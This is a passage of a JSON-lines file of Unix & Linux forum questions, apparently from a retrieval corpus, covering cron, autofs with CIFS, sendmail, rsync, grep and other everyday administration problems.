%'d\\n\" \\ $(/usr/bin/tail -n 31 /var/log/bandwidth) Newline added for readability The identical line (without `@daily`) in a script works fine. I would guess that cron is choking on the `%'d` part and can't find the closing `\"`. Why?"} {"_id": "47940", "title": "Compiz + MATE windows jump to previous workspace", "text": "I have a fresh Mint 13 Maya (MATE edition) with Compiz enabled. I also have a two-monitor set-up with the nVidia drivers with TwinView. I have set up 4 horizontal workspaces via CompizConfig Settings Manager. Here is the behavior I try to eliminate: I open a window, say, browser, and put it to workspace number 2. When I switch to workspace 3 or 4, then back to workspace 2, the window is gone. It has jumped to workspace 1 somehow. This annoys a lot. Could anyone help? Here are some details: * If you stay on workspace 2 windows never jump * If you switch to workspace 1 and back to worspace 2 - windows do not jump. They seem to jump only if you switch to the right * I have 2 monitors, and this behavior occurs only with windows displayed on the left monitor"} {"_id": "47943", "title": "Make box only communicate on lan only?", "text": "I am running a VM with Debian as the guest OS (I can choose another distro). It has nginx running along with some other software. Some of the software tries to make outgoing connections (for example checking for updates or sending usage information). I'd like to block it. I'd also be willing to block incoming connections so only the LAN or my own computer (the host) can communicate with it. How do I setup Linux or the hypervisor (I'm using VMWare player) to not allow Internet usage\u2014only allow my computer and maybe the LAN? The host OS is Windows 7."} {"_id": "47942", "title": "How to get all lines between first and last occurrences of patterns?", "text": "How can I trim a file (well input stream) so that I only get the lines ranging from the first occurrence of pattern `foo` to the last occurrence of pattern `bar`? For instance consider the following input : A line like foo this foo bar something something else foo bar and the rest I expect this output: foo this foo bar something something else foo bar"} {"_id": "47944", "title": "Difference Between #include \"file.h\" and #include ", "text": "What is the difference between the `#include \"file.h\"` and the `#include `? Surely they mean the exact same thing, because I have a file that has something like this: #include #include #include \"file3.h\" #include \"file3.h\""} {"_id": "47946", "title": "Unable to install Mono 2.6 on CentOS", "text": "I have an application that breaks on mono 2.10, so I'm trying to install an older mono instead. I found an RPM and tried to install it, but it won't install (I believe) because the glibc and gcc versions that are on CentOS 6.3 are too high. (it actually says it lacks the dependencies for GLIBC_2.7 and GCC_3.3.1 even though I have versions 2.12 and 4.4 installed as part of CentOS 6.3, so I can only assume it's a problem because they're too high) How should I proceed?"} {"_id": "14754", "title": "Run command when checking for new mail in mutt", "text": "I'd like to run a command (specifically `imapfilter`) whenever Mutt is checking for new email, to avoid getting \"wrong\" messages about email in `=INBOX` which hasn't been filtered yet."} {"_id": "14756", "title": "Tutorial about key maping in KSH in EMACS mode", "text": "Are there any good tutorial to learn about Key Maping in Korn Shell (AIX) in EMACS mode ?"} {"_id": "14757", "title": "Which GNU/Linux distribution for a 12-year old system?", "text": "I have a 12-year old Toshiba Libretto laptop with a Transmeta Crusoe Processor TM 5600 running at about 600 MHz, 128 MB RAM and S3 Savage graphics. Which Ubuntu (or any other GNU/Linux based OS) could I use for stable operation? I intend to use the laptop for basic computing needs including surfing and Skype without video."} {"_id": "14750", "title": "stop parallel processing for a cron triggered process", "text": "I have configured my webservers cron jobs to trigger some php script, every 15min, but sometimes the script takes morethan 15 min to complete execution, by the time another process of the same script starts. which is creating problems in our logic. I want only one instance of the same process running, and if it is completed then only let the other process execute(dont want to put process in a queue, just terminate at that moment and execute at next interval). Example: I have three php file which will be called by the webservers cron job every 15 min. let say a.php, b.php, c.php. the script might take more than 15 min to complete execution. on end of execution it updates our database, hence cant run two copy of same script file(this will break our logic). like say a.php is triggered at 4.00 pm and at 4.15pm again cron will trigger a.php. here i want to check if a.php has completed execution, if not skip the call. and trigger it at 4.30pm by checking the same case. but b.php, c.php and a.php anc run parallel(but same instances cant)."} {"_id": "13904", "title": "How to select/delete until end of file in vim/gvim?", "text": "Accidentally I managed to copy-paste a paragraph in vim a zillion times. How do I select and then delete the text from my current position to the end of file? In Windows, this would be Ctrl-Shift-End, followed by Delete."} {"_id": "13907", "title": "Delete the first n bytes of files", "text": "I've got an extreme problem, and all of the solutions I can imagine are complicated. According to my UNIX/Linux experience there **must** be an easy way. I want to delete the first 31 bytes of each file in `/foo/`. Each file is long enough. Well, I'm sure somebody will deliver me a suprisingly easy solution I just can't imagine. Maybe awk?"} {"_id": "77887", "title": "How to mount a NRG file on Linux?", "text": "I'm trying to mount an old NRG image file in my Arch Linux box. In Windows 7 I can mount it using PowerISO without problems. When I try to mount it in Linux I get the following error messages: $ sudo mount -o loop file.nrg folder/ mount: wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so. `dmesg` gives me the following output: $ dmesg | tail [103618.787063] EXT4-fs (loop0): VFS: Can't find ext4 filesystem [103618.787129] EXT4-fs (loop0): VFS: Can't find ext4 filesystem [103618.787185] EXT4-fs (loop0): VFS: Can't find ext4 filesystem [103618.788898] ISOFS: Unable to identify CD-ROM format. If I check for the file type of the image: $ file file.nrg file.nrg: AIX core file fulldump 32-bit 64-bit How can I mount this image in Linux?"} {"_id": "77885", "title": "How can I connect to Gnome 3 with a Windows VNC client?", "text": "I used to be able to connect to my Gnome 3 desktop from a Windows machine with a VNC client. But after an upgrade (on the Linux side) a while ago, it quit working. When I attempt to connect, all I can get is a message saying \"No matching security types\" or \"No supported authentication methods!\" (depending on which client I try). In Gnome 3, I've turned on Screen Sharing under Settings > Sharing. Under that, I have Remote View on, Remote Control on, Approve All Connections on, Require Password off. I'm running Arch Linux with vino 3.8.1. On the Windows side, I've tried TigerVNC 1.0.1 & 1.2.0 and UltraVNC 1.0.9.6.2. How can I get this working?"} {"_id": "13908", "title": "Debian Iceweasel 4 problems running from command line", "text": "Followed this tutorial How to install Iceweasel 4 on Debian? in attempt to install iceweasel 4 on my debian 6 \"Squeeze\" machine. After installation it seems that I can only open the first instance of iceweasel from Applications/Internet, but not from commmand line. Trying to open it from command line results in this error: /usr/lib/iceweasel/firefox-bin: symbol lookup error: /usr/lib/libcairo.so.2: undefined symbol: FT_Library_SetLcdFilter If iceweasel instance is already running I am able to open a new instance of iceweasel from command line without any errors. Edit: I am using Gnome window manager in this setup Any ideas?"} {"_id": "18104", "title": "How can I convert a PEM key into a RSA key pair?", "text": "I was just sent a PEM key from a client as a means to access their Amazon EC2 instance. How do I convert this into something I could use with OpenSSH?"} {"_id": "18100", "title": "Is it possible to nest a 'find -exec' within another 'find -exec'?", "text": "Something like the following is what I what I'm after, but my code doesn't work, no matter how I escape `{}` and `+` `;` find ./ -maxdepth 1 -type d -name '.*' -exec \\ find {} -maxdepth 1 -type f -name '*.ini' -exec \\ md5sum \\{\\} \\\\; \\; After seeing this Unix-&-Linux question, I found that the following code works, but it isn't nesting _find_ as such, and I suspect there is a better way to do this particular job. find ./ -maxdepth 1 -type d -name '.*' \\ -exec bash -c 'for x; do find \"$x\" -maxdepth 1 -type f -name \"*.ini\" \\ -exec md5sum \\{\\} \\;; \\ done' _ {} \\+ Is there some way to nest `find -exec` without the need to invoke a shell (as above), with all its whacky quoteing and escape constraints? Or can this be done directly in a single find command, using a blend of its many parameters?"} {"_id": "18103", "title": "Automounting not working correctly for CIFS shares; weird results", "text": "I followed the guide on this page to get samba shares working via autofs: http://www.howtoforge.com/accessing_windows_or_samba_shares_using_autofs **Servers and Configuration** My Samba server (remote) is on a server named \"mattserver\" (that's its Windows server name). It has four shares, called \"backup\", \"matt\", \"print\", and \"web\". The Samba client (local) is named \"bird\". My setup is very similar to the examples in the aforementioned tutorial, except for some differences: * `/cifs /etc/auto.cifs --ghost` instead of `/cifs /etc/auto.cifs --timeout=60` in `/etc/auto.master` * `uid=1000,gid=1000` instead of `uid=user,gid=users` in `/etc/auto.cifs` Here's my `/etc/auto.master`: matt@bird:~ $ cat /etc/auto.master /cifs /etc/auto.cifs --ghost Here's my `/etc/auto.cifs`: matt@bird:~ $ cat /etc/auto.cifs #!/bin/bash key=\"$1\" credfile=\"/etc/auto.smb.$key\" mountopts=\"-fstype=cifs,file_mode=0644,dir_mode=0755,uid=1000,gid=1000\" smbclientopts=\"\" for P in /bin /sbin /usr/bin /usr/sbin do if [ -x $P/smbclient ] then SMBCLIENT=$P/smbclient break fi done [ -x $SMBCLIENT ] || exit 1 if [ -e \"$credfile\" ] then mountopts=$mountopts\",credentials=$credfile\" smbclientopts=\"-A \"$credfile else smbclientopts=\"-N\" fi $SMBCLIENT $smbclientopts -gL $key 2>/dev/null \\ | awk -v key=\"$key\" -v opts=\"$mountopts\" -F'|' -- ' BEGIN { ORS=\"\"; first=1 } /Disk/ { if (first) { print opts; first=0 }; gsub(/ /, \"\\\\ \", $2); sub(/\\$/, \"\\\\$\", $2); print \" \\\\\\n\\t /\" $2, \"://\" key \"/\" $2 } END { if (!first) print \"\\n\"; else exit 1 } ' So here's what I get when I call `/etc/auto.cifs` directly: matt@bird:~ $ sudo bash /etc/auto.cifs mattserver -fstype=cifs,file_mode=0644,dir_mode=0755,uid=1000,gid=1000,credentials=/etc/auto.smb.mattserver \\ /print\\$ ://mattserver/print\\$ \\ /matt ://mattserver/matt \\ /web ://mattserver/web \\ /backup ://mattserver/backup So far, so good, I think. **Testing** When I try to access the `/cifs` directory, I should get one directory called `mattserver`, right? I did put the `\\--ghost` option in there. I don't get anything though: matt@bird:~ $ ls -l /cifs total 0 When I access the server directory, I get a list of shares but it's screwed up: matt@bird:~ $ ls -l /cifs/mattserver ls: cannot access /cifs/mattserver/web: No such file or directory ls: cannot access /cifs/mattserver/print$: No such file or directory ls: cannot access /cifs/mattserver/matt: No such file or directory ls: cannot access /cifs/mattserver/backup: No such file or directory total 0 d????????? ? ? ? ? ? backup d????????? ? ? ? ? ? matt d????????? ? ? ? ? ? print$ d????????? ? ? ? ? ? web When I try to access an actual share, I get nothing: matt@bird:~ $ ls -l /cifs/mattserver/web ls: cannot access /cifs/mattserver/web: No such file or directory As a test, I added a line to `/etc/hosts` for `mattserver`. Still no ghosting: matt@bird:~ $ ls -l /cifs total 0 When I try accessing the server directory again, I no longer get a list of shares: matt@bird:~ $ ls -l /cifs/mattserver ls: cannot access /cifs/mattserver: No such file or directory But when I access an actual share, I get full access: matt@bird:~ $ ls -l /cifs/mattserver/web [correct listing of files -- removed] I should be able to rely on broadcasting and I shouldn't need to have anything in /etc/hosts (right?). Broadcasting is working: matt@bird:~ $ nmblookup mattserver querying mattserver on 192.168.0.255 192.168.0.2 mattserver<00> **Problems** * When I try and access a list of servers by calling `ls -l /cifs`, I get nothing. * When I try and access a list of shares by calling `ls -l /cifs/mattserver`, I get a screwed up list (see above). * I can't get a share mounted without adding an entry for the servername to `/etc/hosts`. I don't want to rely on a kludgy entry in `/etc/hosts`. What are my options here?"} {"_id": "18109", "title": "How do I move some but not all files from one directory to another?", "text": "I need to move my files from one directory to other. But there is some issues. My file name pattern is like: apple.0, apple., n -> {0,1,2,3 ...~ } so `mv apple.*` will not work, because I need to keep apple.0, which is always the active one. How do I move them with exceptions (in this case, keeping apple.0)?"} {"_id": "5573", "title": "Shell script error message", "text": "I am trying to learn shell scripting by reading linuxcommand.org. For some reason I keep getting the error \"Not Found\", even though it runs all the commands. The error codes I get are: minecraft_backup.sh: 21: run_backup: not found minecraft_backup.sh: 23: function: not found Here's the script: #!/bin/bash #MineCraft backup script by #Variables APP=MineCraft SERVICE=Minecraft_Mod.jar APPDIR=/opt/MineCraft_Server/bin BACKUPDIR1=/opt/MineCraft_Server/backup1 BACKUPDIR2=/opt/MineCraft_Server/backup2 #First i want to check if minecraft server is running. if(ps ax | grep -v grep | grep $SERVICE > /dev/null) then echo \"$APP is running\" $(run_backup) else echo \"$APP is not running\" exit 1 fi function run_backup { echo \"Starting back up\" #create backup dirs of they do not exit if [ ! -d \"$BACKUPDIR1\" ] then mkdir $BACKUPDIR1 fi if [ ! -d \"$BACKUPDIR2\" ] then mkdir $BACKUPDIR2 echo \"test\" fi #backup save1 to save2 rsync -av --delete \"$BACKUPDIR1/\" \"$BACKUPDIR2\" #backup running app to save 1 rsync -av --delete \"$APPDIR/\" \"$BACKUPDIR1\" }"} {"_id": "5572", "title": "scp, globbing, and different shells", "text": "The other day at work I tried doing scp remotehost:~/*.txt . and I received an error about the `*`, `*.txt file not found` _sorry, not at work and I forget the exact error_ on my workstation I run `zsh` 4.3. on the remotehost `bash` is the default shell, and the version of `zsh` is older ( _4.2_ vs _4.3_ ) on that. I then tried switching to bash on my workstation, and doing the exact same command. This time it worked. What is the root 'cause of this. Is there anyway to do globbing, or wildcards between these 2 systems (without switching to bash)?"} {"_id": "5570", "title": "How to have the Bookmarks toolbar show up on Firefox 4?", "text": "I've upgraded Firefox from 3 to 4 beta8. My Bookmarks toolbar has disappeared and I can't find the option to make it appear again."} {"_id": "72909", "title": "Sending mail using sendmail", "text": "Need a few clarifications regarding sending mail using `sendmail`. I actually configured Bugzilla on a test server. The configuration was successful and I am now able to use it. I also want that, whenever a new bug is created or any bug is updated, a mail to be sent. For that, I already installed sendmail on my system and started the service, but mails are not being sent. Following can be seen in my maillog file: Apr 18 21:56:50 serverlinux sendmail[3827]: r3IGQhF1003825: to=, ctladdr= (500/500), delay=00:00:07, xdelay=00:00:06, mailer=esmtp, pri=120372, relay=mta6.am0.yahoodns.net. [66.196.118.240], dsn=5.0.0, stat=Service unavailable I am not sure whether just starting the sendmail service will help me to send mails or if I need to configure some parameter in sendmail. How can I send mails using sendmail to any valid email-ids in the Internet domain?"} {"_id": "72908", "title": "Diff 2 files ignoring strings between @ and [", "text": "I am comparing two files. I am trying to ignore the alphanumeric characters after `@` and before `[` . A line looks like model.Field@d6b0d6b[fieldName"} {"_id": "30075", "title": "how to resize horizontally a screen region", "text": "I am using `screen` to split my terminals but I would like to be able to resize the horizontal dimension of the split screens. If I do `C-a :resize 10` I only change the vertical dimension to 10 lines. How do I achieve the same but for the horizontal dimension?"} {"_id": "38269", "title": "VMware Tools repo", "text": "I maintain a local repository for all the installation packages. I'm attempting to use reposync (the first time, I generally use rsync to mirror what I need) and I'm getting some odd behavior. Any repos I have enabled system wide at _/etc/yum.repos.d/MYREPO.conf_ are being pulled in to the list of directories to sync. ./reposync -n -c vmware-tools.cfg -p tmp -u I really don't want to provide a list of repos to include - I'd like to simply add the necessary lines to the above file and have it work. The contents of vmware-tools.cfg. [6-i386] name=VMware Tools 6 x32 baseurl=http://packages.vmware.com/tools/esx/latest/rhel6/i386 enabled=1 gpgcheck=1 [6-x86_64] name=VMware Tools 6 x64 baseurl=http://packages.vmware.com/tools/esx/latest/rhel6/x86_64 enabled=1 gpgcheck=1 [5-i386] name=VMware Tools 5 x32 baseurl=http://packages.vmware.com/tools/esx/latest/rhel5/i386 enabled=1 gpgcheck=1 [5-x86_64] name=VMware Tools 5 x64 baseurl=http://packages.vmware.com/tools/esx/latest/rhel5/x86_64 enabled=1 gpgcheck=1 How do I correct this behavior and / or sync these files in a better fashion?"} {"_id": "30072", "title": "Not enough space on / to install new kernel update", "text": "During a recent update I received this: Installing: kernel-default-2.6.37.6-0.11.1 [error] Installation of kernel-default-2.6.37.6-0.11.1 failed: (with --nodeps --force) Error: Subprocess failed. Error: RPM failed: installing package kernel-default-2.6.37.6-0.11.1.x86_64 needs 147MB on the / filesystem Abort, retry, ignore? [a/r/i] (a): i Installing: kernel-desktop-2.6.37.6-0.11.1 [error] Installation of kernel-desktop-2.6.37.6-0.11.1 failed: (with --nodeps --force) Error: Subprocess failed. Error: RPM failed: installing package kernel-desktop-2.6.37.6-0.11.1.x86_64 needs 148MB on the / filesystem Abort, retry, ignore? [a/r/i] (a): i Installing: kernel-source-2.6.37.6-0.11.1 [error] Installation of kernel-source-2.6.37.6-0.11.1 failed: (with --nodeps --force) Error: Subprocess failed. Error: RPM failed: installing package kernel-source-2.6.37.6-0.11.1.noarch needs 432MB on the / filesystem Which I am assuming means my `/` partition needs some room. So I checked the size/space: Filesystem Size Used Avail Use% Mounted on /dev/sda1 25G 24G 208M 100% / How did `/` grow to be so huge!? Is this a common occurrence and is there a quick trick to freeing up some space? I assume that there are things I'm not using in there and I've been able to update kernels easily for the past year -- so something is accumulating. I'd rather figure out what I free up (are old kernels kept?) instead of re- partitioning my whole drive to grow `/`."} {"_id": "72901", "title": "Why does rsync look for DSA instead of RSA key when run from cron job?", "text": "I want to backup files from a server to my local computer using rsync. I can only log-in to the server with an RSA ssh key. I have stored the passphrase to the key in Seahorse Passwords and Keys, which means I can log-in to the server without having to enter the passphrase everytime. I can also execute an rsync command related to the server without entering the passphrase. When the same rsync command is executed from a cron job, it fails, because it is looking for a DSA key (as shown in the logs) instead of the RSA key."} {"_id": "103193", "title": "Once you mount a file system, how do you read and write the files?", "text": "I understand that a file system can be visualized as a \"tree\" of files and directories. I also understand that \"mounting\" a file system means to placing or rooting that tree within an existing directory. http://askubuntu.com/questions/20680/what-does-it-mean-to-mount-something With that said, I have a fuse system \"mounted\" and I'm trying to understand how to query and use it. I know that it is mounted because when I type this command I see this... $mount ... FuseHandler on /home/memsql/mount So I have mounted a fuse system. How do I add files, remove files, list files, etc. In other words, how do I use a mounted file system? If I cd into /home/memsql/mount I get a flashing cursor as if I am at a prompt."} {"_id": "76285", "title": "How to install GNU/Linux on a Windows PC without the BIOS password?", "text": "I want to install a GNU/Linux based operating system on a computer with Windows preinstalled, but unfortunately, the BIOS is set to only boot from the harddisk, and there is no way to boot from something else without altering BIOS settings, and I don't know the BIOS password. I'd rather not dismantle my computer to reset it or use password crackers. Now how can I install GNU/Linux on my PC?"} {"_id": "38266", "title": "Difference between Oracle VM and Citrix XEN?", "text": "I`ve been testing Oracle-VM this day. Is there anyone out there who has tested both XEN-based solutions? What are the main differences?"} {"_id": "38267", "title": "Is it possible to create a directory and file inside /proc/sys?", "text": "I am running CentOS 6.2 and I need to create a subdirectory named \"crypto\" inside `/proc/sys`. Inside `/proc/sys/crypto`, I need to create a file named `test` which contains the value \"1\". I have tried many things and nothing works. Can someone help me?"} {"_id": "72907", "title": "Trouble communicating with FTDI FT245RL on ttyUSB0. works fine on Win7x64", "text": "I purchased a Sainsmart 4 channel USB relay board which seems to be based on a FTDI FT245RL chip. I should be easy enough to use. when you plug it in it appears as a serial port (VCP). You send it three bytes which tell it what to turn on and off. E.g. \\xFF\\x00\\x01 turns on just relay 1 and \\xff\\x00\\x03 turns on relay 1 and 2. I wrote a very simple python program to test this on a Debian squeeze machine: import serial ser = serial.Serial('/dev/ttyUSB0') # Defaults to 9600 8N1 ser.open() ser.write(chr(255) + chr(0) + chr(3)) ser.close ...and nothing happened. Sometimes I get nothing, and sometimes it blocks. I installed the drivers on a win7x64 machine, and changed one line to point to COM3, it works great. I then tried it on a CentOS 5 machine and it doesn't work here either. I don't think it is permissions, I've added the users to the dialout and uucp groups respectively. I've also tried it as root. I was able to set up a udev rule on Debian which seems to work. If I do **lsusb** , this is the relevant result: Bus 005 Device 002: ID 0403:6001 Future Technology Devices International, Ltd FT232 USB-Serial (UART) IC If I do stty -F /dev/ttyUSB0 -a I get speed 9600 baud; rows 0; columns 0; line = 0; intr = ^C; quit = ^\\; erase = ^?; kill = ^U; eof = ^A; eol = ; eol2 = ; swtch = ; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 0; time = 0; -parenb -parodd cs8 hupcl -cstopb cread clocal -crtscts -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr -icrnl -ixon -ixoff -iuclc -ixany -imaxbel -iutf8 -opost -olcuc -ocrnl -onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 -isig -icanon -iexten -echo -echoe -echok -echonl -noflsh -xcase -tostop -echoprt -echoctl -echoke"} {"_id": "38265", "title": "What is a reliable way to automate FTP upload of 'the newest file in directory X'?", "text": "I have this folder full of files. Once per day, I want the newest of the files to be FTPed automatically to a file server."} {"_id": "31306", "title": "grep: Trailing backslash", "text": "I want to do a grep for `\\resources\\`. How do I do this? I've tried: grep \\resources\\ grep \\\\resources\\\\ grep \"\\resources\\\" grep \"\\\\resources\\\\\" None of these work."} {"_id": "31304", "title": "ping -c1, wait for all responses from broadcast", "text": "I want to send one packet to the broadcast address, but wait for all responses. If I do `ping -c 1 192.168.1.255`, it sends just one packet, but it quits after getting the first response."} {"_id": "31305", "title": "ssh \"-f\" don't give back hand in bash when listening to stdout/stderr", "text": "Please look at these: ## Does NOT return to the shell, but Ctrl-C can exit ssh -S none -fNR 13018:localhost:22 example.com | cat ## Returns to the shell (no \"-S none\") ssh -fNR 13019:localhost:22 example.com | cat ## Returns to the shell (no \"| cat\") ssh -S none -fNR 13020:localhost:22 example.com Why the first command does not return to the shell ? I expected it to return to the shell as the other did (as the `-f` _Requests ssh to go to background just before command execution._ ) and is present in the 3 samples I gave and seem to behave erraticaly upon redirection of its output (symbolized here by the `| cat`). The `-S none` is not a related option (especially that `-S none` should be the default behavior as I haven't any ControlMaster options set) and it seems nevertheless to change the behavior of `-f`. All this puzzles me. Is there any way to catch the stdout/stderr of the last command with this command returning to the shell, to be able to react according to its output ? The whole story: I want to run SSH tunnel and upon failure, check if it is related to port being in use. In that case I'll try another port. I can't use error level as it is not distinctive, and while trying to catch stderr, I ran in ssh behaviors that are not clear for me and they seem even bogus (there shouldn't be any differences between using `-S none` and not using it, because it is the default value and I checked my `~/.ssh/config` that was empty, and the `/etc/ssh/ssh_config` had no `ControlMaster` related option set.) EDIT: * It seems that I cannot reproduce the second example as described. Could the `ssh` process terminates sometimes _before_ and sometimes _after_ `cat` process opens the pipe ?"} {"_id": "31302", "title": "Gentoo on VM setting IP Manually", "text": "I installed Gentoo on Virtualbox with the minimal image. This is the first time I am running gentoo. I need to do ifconfig eth0 192.168.0.10 route add default gw 192.168.0.1 everytime it boots on VM and then I need to start `sshd`. I've added sshd to startup with `rc-update add default sshd` But How can I avoid seting the UP manually each time on start up ?"} {"_id": "31303", "title": "Denied permission to change ownership", "text": "I am trying to change the ownership of a folder and all its contents to `www- data`, but am being denied permission to change it. I am root. and I've tried using `sudo` but nothing works. eyedea@eyedea-ER912AA-ABA-SR1810NX-NA620:/var/www$ chown -R www-data.www-data /var/www/drupal/ chown: changing ownership of `/var/www/drupal/scripts/run-tests.sh': Operation not permitted chown: changing ownership of `/var/www/drupal/scripts/code-clean.sh': Operation not permitted chown: changing ownership of `/var/www/drupal/scripts/drupal.sh': Operation not permitted"} {"_id": "47365", "title": "Wifi stops to work in idle", "text": "I checked Xfce power manager seems settings correct but laptop screen goes black after 10 minutes of inactivity. Actually the problem is that shared Wi- Fi (configured using hostapd package) stops to work. After that I can't get WIFI to work again without system reboot. **Here is what I have and what have tried:** 1. Linux debian-dell-netbook 3.2.0-0.bpo.2-amd64 2. RTL8188CE chip with latest driver installed from sources 3. Checked /var/log/* northing happens in logs 4. WiFi works in 802.11g, with 'n' I got the same issue. 5. sudo modprobe -rfv rtl8192ce && sudo modprobe -v rtl8192ce ips=0 fwlps=0 6. sudo iwconfig wlan0 mode managed"} {"_id": "47367", "title": "Bulk rename, change prefix", "text": "How can I bulk replace the prefix for many files? I have a lot of files like * TestSRConnectionContext.h * TestSRConnectionContext.m I would like to change all them to * CLConnectionContext.h * CLConnectionContext.m How would I do this?"} {"_id": "47508", "title": "String syntax for the kbd macro in Emacs", "text": "> **Possible Duplicate:** > Associating a function in Emacs after looking up the code with M-x > describe-key I have typed the following macros on my `.emacs` file (global-set-key (kbd \"M-\") 'windmove-left) ; move to left windnow (global-set-key (kbd \"M-\") 'windmove-right) ; move to right window (global-set-key (kbd \"M-\") 'windmove-up) ; move to upper window (global-set-key (kbd \"M-\") 'windmove-down) ; move to lower window However, when I press `Alt`+`left` or any of the other keyboard combinations, I get errors like the following in the minibuffer `M-o 3 c is undefined`. Why doesn't it work? I thought I was following the syntax described here (`kbd` macro)."} {"_id": "47363", "title": "My `which` command may be wrong (sometimes)?", "text": "I've compiled the last emacs version from the source code (v24.2) because the version installed on my machine is (quite) old for me (v21.3). I've done the usual: $configure --prefix=$HOME make make install Now I am testing emacs and realized that it still launches the previous version ... while my `$HOME/bin` path is supposed to override the system one (since it is prepended to $PATH in my `.bashrc` file). My first thought was to see the `which` command output. And surprise, it gives the path to the new emacs. I can't understand where is the discrepancy here. In the same session here is the different outputs: $ emacs --version GNU Emacs 21.3.1 $ `which emacs` --version GNU Emacs 24.2.1 I have no alias involving emacs. At all. $ alias | grep emacs $ Any idea what is going on please?"} {"_id": "11228", "title": "What would happen if a hard drive failed while the Linux kernel was running?", "text": "I've always been curious of what would happen if a hard drive failed while the Linux kernel was running. Since the kernel image itself is loaded completely into RAM, I don't imagine there would be any kernel failures. Obviously any software that attempted to access the disk would fail. Is there any chance that the system would continue running indefinitely? If not, what would cause it to panic (or at least become inoperable)? Please consider each of the following scenarios: * The kernel may or may not have the swapfile enabled. * No attempts to load kernel modules are made after the failure. * Does it make a difference if certain parts of the filesystem are on different disks?"} {"_id": "11226", "title": "Are there any desktop email clients that implement gmail style conversation view?", "text": "I don't like threaded email views as much as the inline \"conversation view\" of gmail, however gmail is not as fast as I'd like it to be. Are there any desktop clients which provide a \"conversation view\"?"} {"_id": "11225", "title": "Audio/video out of sync when playing MP4s in mplayer", "text": "When I try to play MP4 files in mplayer, after a few seconds I get the \"Your system is too SLOW to play this!\" warning and the video starts lagging behind the audio. It only happens with MP4s, and seems to happen with just about all of them. mplayer doesn't seem to be overtaxing my system, it's just something with playing that particular format. I tried all the mplayer suggestions (different video driver, `-framedrop`, etc.); the only one that even partially helps is `-autosync 30`, but that's a hack. What could be wrong? How do I go about debugging/fixing it? * * * **Edit** : My video card is an nVidia; I use the official drivers. My available video output drivers according to mplayer are: xv X11/Xv gl_nosw OpenGL no software rendering x11 X11 ( XImage/Shm ) xover General X11 driver for overlay capable video output drivers gl OpenGL gl2 X11 (OpenGL) - multiple textures version matrixview MatrixView (OpenGL) null Null video output mpegpes MPEG-PES file yuv4mpeg yuv4mpeg output for mjpegtools png PNG file jpeg JPEG file I haven't tried any other players (I don't think I even have any), but I'll try installing another one and see if it has the same problem. I forgot to mention that I have this problem on multiple computers, but they all have essentially the same setup so it's probably a common cause"} {"_id": "11223", "title": "change terminal title", "text": "I want to make a shell `alias` that starts a certain program and also changes the title of the terminal to the name of the program. How can I do that? In case it matters, I am running the terminal on Ubuntu and connecting to a Debian server via ssh."} {"_id": "11222", "title": "How can I recursively search directories for a pattern and just print out file names and line numbers", "text": "Currently I am using grep as follows: grep -lr . This gives me the following output, containing a list of all files whose contents (not name) contain : ./path/to/file1 ./path/to/file2 ... This is okay but knowing the line numbers would be useful. The following output would be ideal but having gone through the man page for grep, I can't seem to figure out the right switches: ./path/to/file1 15, 22, 54 ./path/to/file2 16, 17 ... Is this possible with grep or some other tool?"} {"_id": "11220", "title": "What potential ills can be brought by 'deleting' a live kernel?", "text": "I recently deleted my active Linux kernel and continued using the system as if nothing drastic happened. Are there any side-effects to deleting the Linux kernel that's currently in use? What about other non-Windows kernels?"} {"_id": "19058", "title": "How to replace one char with another in all filenames of the current directories?", "text": "How do you rename all files/subdirs in the current folder? Lets say, I have many files and subdirs that are with spaces and I want to replace all the spaces with an underscore. File 1 File 2 File 3 Dir 1 Dir 3 should be renamed to File_1 File_2 File_3 Dir_1 Dir_3"} {"_id": "103227", "title": "Is there a way to count the number of matches in Vim using :g?", "text": "I know this works: :%s///gn But it seems a bit strange to use the substitution command to count, rather than global.."} {"_id": "103220", "title": "Change executable reference for app icon in in GNOME 3 launcher", "text": "I've created a custom script to launch VirtualBox that replaced the original script in \u00b8/usr/bin/\u00b8. So running VirtualBox in a terminal launches my script. However, pressing `super` key and type \"virtualbox\" in Gnome Shell launcher brings the old original script. How can I change that behavior so that when I type _virtualbox_ in Gnome Shell launcher my custom script runs?"} {"_id": "155172", "title": "Mathematical processing on text file", "text": "I have 200 text files. Each text file contains one column of mathematical numbers (100k rows). I want to do some statistical processing on these data (finding the probit or quantile). I know the mean and sigma value associated for each file. Is there any direct way to calculate probit or quantile of a dataset? If not, then I know the formula for quantile which is =(sorted data- mean)/sigma. e.g. _input_file.txt_ 12.2 10.11 15.55 5.01 ... ... 12.9 _temp.txt_ 5.01 10.11 12.2 12.9 15.55 ... ... Final output file should contain two columns. First column is same as `temp_output.txt` and second column is the following mathematical function on each element: = (row(i)-mean)/sigma Where mean and sigma are two mathematical number say 10.1 and 2.02 respectively. Final output file should look like this for above values _output.txt_ 5.01 -2.51980198 10.11 0.004950495 12.2 1.03960396 12.9 1.386138614 15.55 2.698019802 ... ..."} {"_id": "155170", "title": "How to access a RHEL desktop remotely without unlocking the screen?", "text": "I usually leave a lot of processes running on my RHEL 6 workstation, and sometimes need to access the desktop remotely on my Macbook. I have used Screen Sharing on Mac and it works fine, except that the RHEL desktop gets unlocked every time I do, so anybody that wants to play the smart-ass can simply drop by my desk and wreak havoc with the mouse and keyboard. Is there any way to leave the desktop screen locked when I access it remotely?"} {"_id": "19050", "title": "In tcsh how can I prepend 'cd ' to the output of a pipe?", "text": "As in, say I execute `pwd` to return the current directory and want to dump this in a script file so that I can come back, but I then need to prefix it with 'cd '?"} {"_id": "19055", "title": "How to set keycodes manually in vim?", "text": "Sometimes when I fire up vim, my `Insert` key doesn't work (need to use `i`) and my arrows don't work (they give me letters instead). I'm guessing this has to do with my keys not being mapped correctly. How can I fix this for good?"} {"_id": "19056", "title": "List all files containing a specific string", "text": "I need to recursively look for all files containing a specific string so that I can copy a new file over the old one. E.g.: If a file has the string \"replace me\": 1. find the full path of the files: /dir/of/file/filename.php /dir/of/different/file/filename.php 2. replace the file with my new `filename.php` file. It sounds simple, but I have wasted several hours on it getting nowhere."} {"_id": "37368", "title": "How can I get entries for a given time period from a 400MB+ log file?", "text": "I have a 400MB+ Tomcat log file (`catalina.out`). How can I pull out entries for a given time period?"} {"_id": "96841", "title": "debian becomes slow after connecting a camera", "text": "my debian becomes slow after connecting a camera i 